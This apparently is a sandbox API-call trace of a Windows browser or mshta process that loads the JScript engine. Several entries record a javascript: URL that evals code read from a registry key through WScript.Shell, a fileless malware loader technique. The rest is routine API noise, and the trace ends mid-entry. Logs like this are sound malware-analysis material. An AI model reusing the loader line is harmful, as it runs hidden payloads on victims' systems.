returned 0x38c [0252.324] OpenThread (dwDesiredAccess=0x100040, bInheritHandle=0, dwThreadId=0x15c) returned 0x390 [0252.324] GetProcessIdOfThread (Thread=0x390) returned 0xec8 [0252.324] GetWindowThreadProcessId (in: hWnd=0x80016, lpdwProcessId=0x3df850 | out: lpdwProcessId=0x3df850) returned 0x15c [0252.325] GetCurrentProcess () returned 0xffffffff [0252.325] DuplicateHandle (in: hSourceProcessHandle=0x38c, hSourceHandle=0x37c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x3df858, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x3df858*=0x394) returned 1 [0252.325] MapViewOfFile (hFileMappingObject=0x394, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28) returned 0x12a0000 [0252.325] GetCurrentProcess () returned 0xffffffff [0252.325] DuplicateHandle (in: hSourceProcessHandle=0x38c, hSourceHandle=0x378, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x11808f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x11808f8*=0x398) returned 1 [0252.325] SetEvent (hEvent=0x380) returned 1 [0252.325] CloseHandle (hObject=0x394) returned 1 [0252.325] CloseHandle (hObject=0x38c) returned 1 [0252.325] SetEvent (hEvent=0x378) returned 1 [0252.326] SetWindowPos (hWnd=0x300ec, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x5f) returned 1 [0252.326] GetWindowLongW (hWnd=0x300ec, nIndex=-21) returned 18284544 [0252.326] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x926820, hWnd=0x300ec, msg=0x46, wParam=0x0, lParam=0x3dfb64*=196844, plResult=0x3df97c | out: plResult=0x3df97c) returned 0x1 [0252.326] NtdllDefWindowProc_W (hWnd=0x300ec, Msg=0x46, wParam=0x0, lParam=0x3dfb64) returned 0x0 [0252.326] GetCurrentThreadId () returned 0x15c [0252.327] GetWindowLongW (hWnd=0x300ec, nIndex=-21) returned 18284544 [0252.327] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x926820, hWnd=0x300ec, msg=0x47, wParam=0x0, lParam=0x3dfb64*=196844, plResult=0x3df978 | out: plResult=0x3df978) returned 0x1 [0252.327] NtdllDefWindowProc_W (hWnd=0x300ec, Msg=0x47, wParam=0x0, lParam=0x3dfb64) returned 0x0 [0252.327] GetCurrentThreadId () returned 0x15c [0252.328] SetTimer (hWnd=0x300ec, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000 [0252.328] GetFocus () returned 0x0 [0252.328] EnumChildWindows (hWndParent=0x300ec, lpEnumFunc=0x73046620, lParam=0x3df93f) returned 0 [0252.328] GetFocus () returned 0x0 [0252.328] SetFocus (hWnd=0x300ec) [0252.353] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x46, wParam=0x0, lParam=0x3dfb1c) returned 0x0 [0252.353] NtdllDefWindowProc_W (hWnd=0x70126, Msg=0x46, wParam=0x0, lParam=0x3dfb1c) returned 0x0 [0252.357] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x47, wParam=0x0, lParam=0x3dfb1c) returned 0x0 [0252.358] NtdllDefWindowProc_W (hWnd=0x70126, Msg=0x47, wParam=0x0, lParam=0x3dfb1c) returned 0x0 [0252.358] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x1c, wParam=0x1, lParam=0xa6c) returned 0x0 [0252.358] NtdllDefWindowProc_W (hWnd=0x70126, Msg=0x1c, wParam=0x1, lParam=0xa6c) returned 0x0 [0252.359] GetWindowLongW (hWnd=0x80016, nIndex=-21) returned 18146000 [0252.359] NtdllDefWindowProc_W (hWnd=0x9002e, Msg=0x1c, wParam=0x1, lParam=0xa6c) returned 0x0 [0252.359] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0252.408] GetWindowLongW (hWnd=0x300ec, nIndex=-21) returned 18284544 [0252.408] LoadLibraryExA (lpLibFileName="OLEACC.DLL", hFile=0x0, dwFlags=0x0) returned 0x71fa0000 [0252.414] GetProcAddress (hModule=0x71fa0000, lpProcName="LresultFromObject") returned 0x71faf590 [0252.414] LresultFromObject () returned 0xc182 [0252.636] GetCurrentThreadId () returned 0x15c [0252.699] GetWindowLongW (hWnd=0x300ec, nIndex=-21) returned 18284544 [0252.700] GetKeyState (nVirtKey=1) returned 0 [0252.700] GetKeyState (nVirtKey=2) returned 0 [0252.700] GetKeyState (nVirtKey=16) returned 0 [0252.700] GetKeyState (nVirtKey=17) returned 0 [0252.700] GetKeyState (nVirtKey=4) returned 0 [0252.700] GetKeyState (nVirtKey=18) returned 0 [0252.700] GetMessageTime () returned 0 [0252.700] GetMessagePos () returned 0x0 [0252.700] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x926820, hWnd=0x300ec, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x3df224 | out: plResult=0x3df224) returned 0x0 [0252.705] GetWindowLongW (hWnd=0x300ec, nIndex=-21) returned 18284544 [0252.705] GetKeyState (nVirtKey=1) returned 0 [0252.705] GetKeyState (nVirtKey=2) returned 0 [0252.705] GetKeyState (nVirtKey=16) returned 0 [0252.705] GetKeyState (nVirtKey=17) returned 0 [0252.705] GetKeyState (nVirtKey=4) returned 0 [0252.705] GetKeyState (nVirtKey=18) returned 0 [0252.705] GetMessageTime () returned 0 [0252.705] GetMessagePos () returned 0x0 [0252.705] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x926820, hWnd=0x300ec, msg=0x282, wParam=0x2, lParam=0x0, plResult=0x3dea44 | out: plResult=0x3dea44) returned 0x0 [0252.705] GetCurrentThreadId () returned 0x15c [0252.706] GetCurrentThreadId () returned 0x15c [0252.706] GetWindowLongW (hWnd=0x300ec, nIndex=-21) returned 18284544 [0252.706] CActiveIMMAppEx_Trident:IActiveIMMApp:getContext (in: This=0x926820, hWnd=0x300ec, phIMC=0x3df634 | out: phIMC=0x3df634*=0x2b0227) returned 0x0 [0252.706] GetCursorPos (in: lpPoint=0x3df360 | out: lpPoint=0x3df360*(x=1000, y=495)) returned 1 [0252.706] ScreenToClient (in: hWnd=0x300ec, lpPoint=0x3df360 | out: lpPoint=0x3df360) returned 1 [0252.706] GetKeyState (nVirtKey=16) returned 0 [0252.706] GetKeyState (nVirtKey=17) returned 0 [0252.706] GetKeyState (nVirtKey=18) returned 0 [0252.706] GetKeyState (nVirtKey=160) returned 0 [0252.706] GetKeyState (nVirtKey=162) returned 0 [0252.706] GetKeyState (nVirtKey=164) returned 0 [0252.706] GetCursorPos (in: lpPoint=0x3df360 | out: lpPoint=0x3df360*(x=1000, y=495)) returned 1 [0252.707] ScreenToClient (in: hWnd=0x300ec, lpPoint=0x3df360 | out: lpPoint=0x3df360) returned 1 [0252.707] GetKeyState (nVirtKey=16) returned 0 [0252.707] GetKeyState (nVirtKey=17) returned 0 [0252.707] GetKeyState (nVirtKey=18) returned 0 [0252.707] GetKeyState (nVirtKey=160) returned 0 [0252.707] GetKeyState (nVirtKey=162) returned 0 [0252.707] GetKeyState (nVirtKey=164) returned 0 [0252.707] GetCapture () returned 0x0 [0252.707] memcpy_s (in: _Destination=0x1160270, _DestinationSize=0x10, _Source=0x3dee50, _SourceSize=0x10 | out: _Destination=0x1160270) returned 0x0 [0252.708] GetCurrentThreadId () returned 0x15c [0252.708] GetWindowThreadProcessId (in: hWnd=0x9002e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0252.708] GetCurrentThreadId () returned 0x15c [0252.708] GetKeyState (nVirtKey=1) returned 0 [0252.708] GetKeyState (nVirtKey=2) returned 0 [0252.708] GetKeyState (nVirtKey=16) returned 0 [0252.708] GetKeyState (nVirtKey=17) returned 0 [0252.708] GetKeyState (nVirtKey=4) returned 0 [0252.708] GetKeyState (nVirtKey=18) returned 0 [0252.708] GetMessageTime () returned 0 [0252.708] GetMessagePos () returned 0x0 [0252.708] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x926820, hWnd=0x300ec, msg=0x7, wParam=0x0, lParam=0x0, plResult=0x3df594 | out: plResult=0x3df594) returned 0x1 [0252.708] NtdllDefWindowProc_W (hWnd=0x300ec, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0252.709] LoadLibraryExW (lpLibFileName="mshtml.dll", hFile=0x0, dwFlags=0x0) returned 0x726c0000 [0252.709] LoadLibraryExW (lpLibFileName="mshtml.dll", hFile=0x0, dwFlags=0x60) returned 0x726c0000 [0252.709] LoadStringW (in: hInstance=0x726c0000, uID=0xb5, lpBuffer=0x3dfac8, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0252.710] LoadStringW (in: hInstance=0x726c0000, uID=0xb5, lpBuffer=0x3dfb30, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0252.710] LoadStringW (in: hInstance=0x726c0000, uID=0xb5, lpBuffer=0x3dfb14, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0252.710] GetWindowThreadProcessId (in: hWnd=0x9002e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0252.710] GetCurrentThreadId () returned 0x15c [0252.710] ShowWindow (hWnd=0x300ec, nCmdShow=1) returned 1 [0252.710] IUnknown:Release (This=0x8fd120) returned 0x1 [0252.710] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x90f3f0 | out: hHeap=0x8f0000) returned 1 [0252.710] GetMessageW (lpMsg=0x3dfdd4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0252.710] GetWindowLongW (hWnd=0x80016, nIndex=-21) returned 18146000 [0252.710] SetEvent (hEvent=0x380) returned 1 [0252.711] TranslateMessage (lpMsg=0x3dfdd4) returned 0 [0252.712] DispatchMessageW (lpMsg=0x3dfdd4) returned 0x0 [0252.712] NtdllDefWindowProc_W (hWnd=0x70126, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0252.712] GetMessageW (in: lpMsg=0x3dfdd4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3dfdd4) returned 1 [0252.712] TranslateMessage (lpMsg=0x3dfdd4) returned 0 [0252.712] DispatchMessageW (lpMsg=0x3dfdd4) returned 0x0 [0252.712] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0252.712] GetMessageW (in: lpMsg=0x3dfdd4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3dfdd4) returned 1 [0252.712] TranslateMessage (lpMsg=0x3dfdd4) returned 0 [0252.712] DispatchMessageW (lpMsg=0x3dfdd4) returned 0x0 [0252.712] RegisterDragDrop (hwnd=0x300ec, pDropTarget=0x7387f4e4) returned 0x0 [0252.834] QueryPerformanceCounter (in: lpPerformanceCount=0x3dfab0 | out: lpPerformanceCount=0x3dfab0*=25613706688) returned 1 [0252.835] SetEvent (hEvent=0x374) returned 1 [0252.835] QueryPerformanceCounter (in: lpPerformanceCount=0x1170a00 | out: lpPerformanceCount=0x1170a00*=25613795022) returned 1 [0252.835] GetCurrentThreadId () returned 0x15c [0252.835] GetCurrentThreadId () returned 0x15c [0252.835] GetCurrentThreadId () returned 0x15c [0252.836] GetMessageW (in: lpMsg=0x3dfdd4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3dfdd4) returned 1 [0252.836] TranslateMessage (lpMsg=0x3dfdd4) returned 0 [0252.836] DispatchMessageW (lpMsg=0x3dfdd4) returned 0x0 [0252.836] IInternetProtocolRoot:Continue (This=0x11ba0cc, pProtocolData=0x8fe100) returned 0x80004004 [0252.836] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x1a) returned 0x9554b0 [0252.836] ParseURLW (in: pcszURL="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ppu=0x3dfb28 | out: ppu=0x3dfb28) returned 0x0 [0252.836] IUnknown:QueryInterface (in: This=0x927e30, riid=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x3dfa24 | out: ppvObject=0x3dfa24*=0x0) returned 0x80004002 [0252.836] IServiceProvider:QueryService (in: This=0x927df0, guidService=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x3dfa24 | out: ppvObject=0x3dfa24*=0x119a01c) returned 0x0 [0252.837] StrToIntW (lpSrc="9514888") returned 9514888 [0252.837] CoTaskMemFree (pv=0x9562e0) [0252.837] IUnknown:AddRef (This=0x918ee0) returned 0x2 [0252.837] IUnknown:AddRef (This=0x9116a4) returned 0x8 [0252.837] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0252.837] IInternetSecurityManager:MapUrlToZone (in: This=0x7387f4d4, pwszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", pdwZone=0x3dfad0, dwFlags=0x0 | out: pdwZone=0x3dfad0*=0xffffffff) returned 0x800c0011 [0252.837] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0252.837] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0252.837] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x918ee0, pUri=0x9116a4, dwAction=0x1400, pPolicy=0x3dfad4, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x3dfab4 | out: pPolicy=0x3dfad4*=0x0, pdwOutFlags=0x3dfab4*=0x0) returned 0x0 [0252.838] IInternetSecurityManager:ProcessUrlAction (in: This=0x7387f4d4, pwszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", dwAction=0x1400, pPolicy=0x3dfad4, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x3dfad4*=0x0) returned 0x0 [0252.838] IUnknown:Release (This=0x918ee0) returned 0x1 [0252.838] IUnknown:Release (This=0x9116a4) returned 0x7 [0252.838] GetWindowThreadProcessId (in: hWnd=0x9002e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0252.838] GetCurrentThreadId () returned 0x15c [0252.839] PostMessageW (hWnd=0x9002e, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0252.839] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0 [0252.839] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0 [0252.839] CoCreateInstance (in: rclsid=0x3dfa44*(Data1=0x16d51579, Data2=0xa30b, Data3=0x4c8b, Data4=([0]=0xa2, [1]=0x76, [2]=0xf, [3]=0xf4, [4]=0xdc, [5]=0x41, [6]=0xe7, [7]=0x55)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x728744f8*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppv=0x3df9e8 | out: ppv=0x3df9e8*=0xbecdec) returned 0x0 [0252.889] malloc (_Size=0x80) returned 0xbe9c18 [0252.889] GetCurrentProcess () returned 0xffffffff [0252.889] GetSystemInfo (in: lpSystemInfo=0x719e24b0 | out: lpSystemInfo=0x719e24b0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0252.889] GetVersionExW (in: lpVersionInformation=0x719e24f4*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x719e24f4*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0252.889] GetEnvironmentVariableW (in: lpName="JS_DEBUG_SCOPE", lpBuffer=0x3dddac, nSize=0x104 | out: lpBuffer="\xdde0\x3d") returned 0x0 [0252.889] IsDebuggerPresent () returned 0 [0252.889] __dllonexit () returned 0x7185c6b0 [0252.889] __dllonexit () returned 0x7185c6c0 [0252.889] __dllonexit () returned 0x7185c6d0 [0252.890] __dllonexit () returned 0x7185c680 [0252.890] __dllonexit () returned 0x7185c690 [0252.890] __dllonexit () returned 0x7185c6a0 [0252.890] GlobalMemoryStatusEx (in: lpBuffer=0x3ddf70 | out: lpBuffer=0x3ddf70) returned 1 [0252.891] __dllonexit () returned 0x7185c6f0 [0252.891] __dllonexit () returned 0x7185c710 [0252.891] __dllonexit () returned 0x7185c720 [0252.891] __dllonexit () returned 0x7185c740 [0252.891] __dllonexit () returned 0x7185c730 [0252.891] __dllonexit () returned 0x7185c750 [0252.892] __dllonexit () returned 0x7185c760 [0252.892] __dllonexit () returned 0x7185c770 [0252.892] GetModuleFileNameW (in: hModule=0x716a0000, lpFilename=0x719e1e38, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\jscript9.dll" (normalized: "c:\\windows\\system32\\jscript9.dll")) returned 0x20 [0252.892] _set_SSE2_enable () returned 0x1 [0252.892] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\JScriptLegacy", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ddff0 | out: phkResult=0x3ddff0*=0x0) returned 0x2 [0252.892] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\JScriptLegacy", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ddff0 | out: phkResult=0x3ddff0*=0x0) returned 0x2 [0252.892] EtwEventRegister (in: ProviderId=0x716cca00, EnableCallback=0x718c7280, CallbackContext=0x719d3038, RegHandle=0x719e2f18 | out: RegHandle=0x719e2f18) returned 0x0 [0252.892] EtwEventRegister (in: ProviderId=0x716cc9f0, EnableCallback=0x718c7280, CallbackContext=0x719d3000, RegHandle=0x719e2f10 | out: RegHandle=0x719e2f10) returned 0x0 [0252.892] EtwEventRegister (in: ProviderId=0x716cc9e0, EnableCallback=0x718c7280, CallbackContext=0x719d9ba0, RegHandle=0x719e2f28 | out: RegHandle=0x719e2f28) returned 0x0 [0252.892] FindAtomW (lpString="{1b7cd997-e5ff-4932-a7a6-2a9e636da385}") returned 0x0 [0252.892] AddAtomW (lpString="{16d51579-a30b-4c8b-a276-0ff4dc41e755}") returned 0xc005 [0252.893] GetModuleHandleW (lpModuleName="api-ms-win-core-processthreads-l1-1-2.dll") returned 0x75e90000 [0252.894] GetProcAddress (hModule=0x75e90000, lpProcName="QueryProtectedPolicy") returned 0x74f71cd0 [0252.894] VirtualProtect (in: lpAddress=0x719e4438, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x3ddff0 | out: lpflOldProtect=0x3ddff0*=0x2) returned 1 [0253.132] VirtualProtect (in: lpAddress=0x719e4438, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x3ddff0 | out: lpflOldProtect=0x3ddff0*=0x4) returned 1 [0253.133] DllGetClassObject (in: rclsid=0x909d74*(Data1=0x16d51579, Data2=0xa30b, Data3=0x4c8b, Data4=([0]=0xa2, [1]=0x76, [2]=0xf, [3]=0xf4, [4]=0xdc, [5]=0x41, [6]=0xe7, [7]=0x55)), riid=0x75c7fd10*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3dea64 | out: ppv=0x3dea64*=0xbecce8) returned 0x0 [0253.133] NdrDllGetClassObject (in: rclsid=0x909d74*(Data1=0x16d51579, Data2=0xa30b, Data3=0x4c8b, Data4=([0]=0xa2, [1]=0x76, [2]=0xf, [3]=0xf4, [4]=0xdc, [5]=0x41, [6]=0xe7, [7]=0x55)), riid=0x75c7fd10*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3dea64, pProxyFileList=0x716a2464, pclsid=0x716cc664*(Data1=0xc20ed5c4, Data2=0xa2e, Data3=0x4f66, Data4=([0]=0x9b, [1]=0xe2, [2]=0x86, [3]=0xa1, [4]=0xc8, [5]=0x23, [6]=0xdd, [7]=0x68)), pPSFactoryBuffer=0x719e1e08 | out: ppv=0x3dea64*=0x0) returned 0x80040111 [0253.133] malloc (_Size=0x34) returned 0xbecce8 [0253.133] JScriptEngine11:IClassFactory:CreateInstance (in: This=0xbecce8, pUnkOuter=0x0, riid=0x3df4d4*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x3dea4c | out: ppvObject=0x3dea4c*=0xbecdec) returned 0x0 [0253.133] malloc (_Size=0x220) returned 0xbecdd0 [0253.133] GetUserDefaultLCID () returned 0x409 [0253.133] GetACP () returned 0x4e4 [0253.134] malloc (_Size=0x8) returned 0xbecff8 [0253.134] SetThreadStackGuarantee (in: StackSizeInBytes=0x3de9b0 | out: StackSizeInBytes=0x3de9b0) returned 1 [0253.134] malloc (_Size=0xc) returned 0xbeb030 [0253.134] malloc (_Size=0x1248) returned 0xbed008 [0253.134] GetCurrentThreadId () returned 0x15c [0253.134] RtlInitializeSListHead (in: ListHead=0xbed040 | out: ListHead=0xbed040) [0253.134] malloc (_Size=0x30) returned 0x5168378 [0253.134] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x12f0000 [0253.136] malloc (_Size=0x20) returned 0xbee258 [0253.136] malloc (_Size=0xc0) returned 0xbee280 [0253.136] GetCurrentProcess () returned 0xffffffff [0253.136] GetProcessIoCounters (in: hProcess=0xffffffff, lpIoCounters=0x3de938 | out: lpIoCounters=0x3de938) returned 1 [0253.136] QueryPerformanceCounter (in: lpPerformanceCount=0x3de920 | out: lpPerformanceCount=0x3de920*=25643851793) returned 1 [0253.136] GetCurrentThread () returned 0xfffffffe [0253.136] QueryThreadCycleTime (in: ThreadHandle=0xfffffffe, CycleTime=0x3de968 | out: CycleTime=0x3de968) returned 1 [0253.136] QueryPerformanceCounter (in: lpPerformanceCount=0x3de950 | out: lpPerformanceCount=0x3de950*=25643864087) returned 1 [0253.136] GetCurrentProcess () returned 0xffffffff [0253.136] GetProcessIoCounters (in: hProcess=0xffffffff, lpIoCounters=0x3de938 | out: lpIoCounters=0x3de938) returned 1 [0253.136] QueryPerformanceCounter (in: lpPerformanceCount=0x3de920 | out: lpPerformanceCount=0x3de920*=25643878532) returned 1 [0253.136] GetCurrentThread () returned 0xfffffffe [0253.136] QueryThreadCycleTime (in: ThreadHandle=0xfffffffe, CycleTime=0x3de968 | out: CycleTime=0x3de968) returned 1 [0253.136] QueryPerformanceCounter (in: lpPerformanceCount=0x3de950 | out: lpPerformanceCount=0x3de950*=25643889644) returned 1 [0253.136] GetCurrentProcess () returned 0xffffffff [0253.136] GetProcessIoCounters (in: hProcess=0xffffffff, lpIoCounters=0x3de938 | out: lpIoCounters=0x3de938) returned 1 [0253.136] QueryPerformanceCounter (in: lpPerformanceCount=0x3de920 | out: lpPerformanceCount=0x3de920*=25643903219) returned 1 [0253.136] GetCurrentThread () returned 0xfffffffe [0253.136] QueryThreadCycleTime (in: ThreadHandle=0xfffffffe, CycleTime=0x3de968 | out: CycleTime=0x3de968) returned 1 [0253.136] QueryPerformanceCounter (in: lpPerformanceCount=0x3de950 | out: lpPerformanceCount=0x3de950*=25643914278) returned 1 [0253.137] QueryPerformanceCounter (in: lpPerformanceCount=0x3de968 | out: lpPerformanceCount=0x3de968*=25643919465) returned 1 [0253.137] malloc (_Size=0x30) returned 0x5168458 [0253.137] JScriptEngine11:IUnknown:AddRef (This=0xbecdec) returned 0x2 [0253.137] JScriptEngine11:IUnknown:Release (This=0xbecdec) returned 0x1 [0253.137] JScriptEngine11:IUnknown:Release (This=0xbecce8) returned 0x0 [0253.137] free (_Block=0xbecce8) [0253.137] JScriptEngine11:IUnknown:QueryInterface (in: This=0xbecdec, riid=0x728744f8*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x3df97c | out: ppvObject=0x3df97c*=0xbecdec) returned 0x0 [0253.137] JScriptEngine11:IUnknown:Release (This=0xbecdec) returned 0x1 [0253.137] IUnknown:AddRef (This=0x918ee0) returned 0x2 [0253.137] IUnknown:AddRef (This=0x9116a4) returned 0x8 [0253.137] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0253.137] IInternetSecurityManager:MapUrlToZone (in: This=0x7387f4d4, pwszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", pdwZone=0x3df908, dwFlags=0x0 | out: pdwZone=0x3df908*=0xffffffff) returned 0x800c0011 [0253.137] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0253.138] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0253.138] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x918ee0, pUri=0x9116a4, dwAction=0x1401, pPolicy=0x3df90c, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x3df8ec | out: pPolicy=0x3df90c*=0x0, pdwOutFlags=0x3df8ec*=0x0) returned 0x0 [0253.138] IInternetSecurityManager:ProcessUrlAction (in: This=0x7387f4d4, pwszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", dwAction=0x1401, pPolicy=0x3df90c, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x3df90c*=0x0) returned 0x0 [0253.138] IUnknown:Release (This=0x918ee0) returned 0x1 [0253.138] IUnknown:Release (This=0x9116a4) returned 0x7 [0253.138] malloc (_Size=0x84) returned 0xbee348 [0253.138] malloc (_Size=0x748) returned 0xbee3d8 [0253.138] malloc (_Size=0x8610) returned 0x5169fe8 [0253.139] RtlInitializeSListHead (in: ListHead=0x516a080 | out: ListHead=0x516a080) [0253.139] RtlInitializeSListHead (in: ListHead=0x516a0a0 | out: ListHead=0x516a0a0) [0253.139] malloc (_Size=0x113c) returned 0x5172600 [0253.139] malloc (_Size=0x113c) returned 0x5173748 [0253.139] GetTickCount () returned 0x3e996 [0253.140] GetTickCount () returned 0x3e996 [0253.140] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4a0 [0253.140] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4a4 [0253.140] malloc (_Size=0x30) returned 0x5168110 [0253.140] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4a8 [0253.140] _beginthreadex (in: _Security=0x0, _StackSize=0x493e0, _StartAddress=0x71821720, _ArgList=0x5169fe8, _InitFlag=0x10000, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x4ac [0253.140] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x3df7f0*=0x4a4, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0253.161] malloc (_Size=0x74) returned 0xbeef68 [0253.161] malloc (_Size=0x88) returned 0xbeeb28 [0253.161] malloc (_Size=0x30) returned 0x5168298 [0253.161] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x203000, flProtect=0x4) returned 0x48f0000 [0253.161] malloc (_Size=0x404) returned 0x5174890 [0253.161] malloc (_Size=0x7c) returned 0xbea498 [0253.161] malloc (_Size=0x404) returned 0x5174ca0 [0253.161] malloc (_Size=0x80) returned 0xbea278 [0253.162] malloc (_Size=0x20) returned 0xbecce8 [0253.162] malloc (_Size=0x9dc) returned 0x51750b0 [0253.162] malloc (_Size=0x2478) returned 0x5175a98 [0253.162] malloc 